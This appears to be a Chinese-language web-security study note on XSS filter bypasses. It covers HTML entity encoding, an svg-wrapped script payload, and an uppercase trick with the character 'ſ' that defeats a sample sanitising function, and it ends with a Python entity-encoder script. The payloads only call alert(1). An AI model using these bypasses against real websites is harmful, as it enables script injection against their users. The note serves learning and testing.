HTML實體編碼轉換
html中不允許使用尖括號,因為會被誤認為標簽,但是實際生活中我們是有使用尖括號的需求的,所以我們用一種編碼的方式來代替具體的符號。
即 &#加上ascii碼加上分號;
如a --> a
html可以識別這種編碼,但是js沒有辦法識別。故實際在注入的時候,我們可能需要使用svg標簽來執行,就像這樣
<svg><script>alert(1)</script></svg>
## 這里(和)分別是左右括號。
至於為什么可以用svg標簽,之前沒有接觸過,粗略查了一下,這個好像是一個畫圖庫里的使用工具,所以我猜測可能是因為需要用函數對標簽里的東西進行繪畫啥的。
順便記一個邪法,就是這個字母ſ
。
這個字母大寫以后會變成S
,在某些場合可以bypass。
比如
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1') # 將'<' + 字母的組合替換為 '<_' + 字母,如 '<as' 換成 '<_as'
input = input.toUpperCase() #將輸入轉為大寫,html對大小寫不敏感,但js對大小寫敏感,故要對js部分編碼。
return '<h1>' + input + '</h1>'
}
在這個例子中,<script>標簽會被替換為<_script>,但是如果我們使用這么一個payload
<ſvg><ſcript>alert(1)</script></svg>
這個神秘字母會被大寫,然后變成S,成功繞過。
順手寫了個小腳本,用於轉換字符串為html實體編碼。
s = input("Input str : ")
target = ''
for i in s:
tmp = "&#" + str(ord(i)) + ";"
target += tmp
print("HTML encode is: \n%s" % target)
# 運行效果
# D:\vscode\Web_Security>python3 html_encode.py
# Input str:alert(1)
# Result is
# alert(1)